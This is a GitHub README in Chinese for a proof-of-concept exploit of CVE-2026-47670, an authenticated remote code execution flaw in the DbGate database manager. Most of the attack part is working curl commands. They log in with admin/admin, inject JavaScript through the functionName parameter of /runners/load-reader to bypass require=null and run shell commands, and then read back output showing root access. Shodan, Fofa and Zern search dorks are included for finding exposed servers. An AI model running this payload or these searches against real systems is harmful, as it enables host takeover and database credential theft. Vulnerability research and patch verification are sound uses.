error-inside/CVE-2026-47670

GitHub: error-inside/CVE-2026-47670

CVE-2026-47670 的 PoC 利用脚本,通过 DbGate loadReader 接口的 functionName 代码注入实现已认证远程代码执行。

Stars: 0 | Forks: 0

# CVE-2026-47670 [![Python](https://img.shields.io/badge/Python-3.12%2B-blue.svg)][01] [![CVSS](https://img.shields.io/badge/CVSS-9.9%20CRITICAL-darkred.svg)][03] [![License](https://img.shields.io/badge/License-SCTPL-green.svg)](./LICENSE) [![Educational](https://img.shields.io/badge/Purpose-Educational%20Only-yellow.svg)](./LICENSE) 通过 DbGate 中的 loadReader functionName 代码注入实现已认证的远程代码执行 [DbGate][08] 是一款开源、跨平台的数据库管理工具, 专为需要同时操作多种数据库系统的开发者和数据库管理员设计。 它提供了统一的 Web 端和桌面端界面,用于管理 SQL 和 NoSQL 数据库——包括 MySQL、PostgreSQL、SQL Server、MongoDB、SQLite、Oracle 等——无需 在不同的客户端应用程序之间切换。DbGate 可以作为独立桌面应用程序运行在 Windows、macOS 和 Linux 上,也可以通过 Docker 部署为 Web 应用程序,这使其在团队环境和 远程数据库管理场景中非常受欢迎。 **CVE-2026-47670** 是一个**已认证的远程代码执行** (RCE) 漏洞,影响 *7.1.9* **之前**的 DbGate 版本。该缺陷存在于 `/runners/load-reader` endpoint 中,其中 `functionName` 参数在没有进行适当清理的情况下被传递到不安全的代码执行路径。拥有有效 DbGate 凭据的攻击者可以通过该参数注入任意 JavaScript 代码,这些代码将以 **root 权限**在服务器上**执行**。该漏洞极其危险,因为应用程序的 `require = null` 缓解措施可以使用动态 `import()` 语句轻易绕过,从而使攻击者能够 **spawn shells**、**窃取数据库凭据**、横向移动到已连接的数据库服务器,或完全破坏宿主系统。 ## PoC ``` # 步骤 1 — 认证并获取 Bearer token curl -s -X POST http://example.com/auth/login \ -H 'Content-Type: application/json' \ -d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken # RESPONSE # ======== {"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"} # 步骤 2 — 通过 functionName 注入(替换 TOKEN 和 /tmp/_dbg_poc.jsonl) curl -s -X POST http://example.com/runners/load-reader \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \ -d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}' # RESPONSE # ======== {"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"} # 步骤 3 — 读回命令输出 curl -s -X POST http://example.com/jsldata/get-rows \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \ -d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}' # RESPONSE # ======== [{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}] ``` ## 用法 ``` python CVE-2026-47670-X7.py ``` * [Zern][03] : `title:"DbGate"` * [Fofa][04] : `title="DbGate"` * [Shodan][05] : `http.title:"DbGate"` ## 相关资源 * [OpenCVE - CVE-2026-47670][01] *(尚未发布)* * [NIST - CVE-2026-47670 详情][02] *(尚未发布)* * [Gitlab Advisory Database - CVE-2026-47670][06] * [Github - DbGate: MySQL、PostgreSQL、SQL Server、MongoDB、SQLite 等数据库的管理器][07] ## 作者 * ErrorInside // SCT ## 许可证 SCT-PL
标签:PoC, XXE攻击, 安全漏洞, 数据可视化, 暴力破解, 编程工具, 远程代码执行, 逆向工具